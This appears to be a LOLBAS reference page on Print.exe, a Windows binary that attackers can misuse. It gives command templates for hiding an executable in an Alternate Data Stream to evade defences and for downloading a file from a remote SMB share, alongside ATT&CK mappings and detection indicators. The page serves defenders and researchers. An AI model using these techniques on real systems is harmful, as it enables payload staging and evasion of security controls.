LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Print.exe

View source

Used by Windows to send files to the printer

ADSCopy
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

ADS1

EXAMPLE 01T1564.004

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

COMMAND
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
USE CASE
Hide binary file in alternate data stream to potentially bypass defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Copy2

EXAMPLE 01T1105

Copy file from source to destination

COMMAND
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
USE CASE
Copy files
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1105

Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

COMMAND
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
USE CASE
Copy/Download file from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Print.exe retrieving files from internet

  • IOC

    Print.exe creating executable files on disk

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe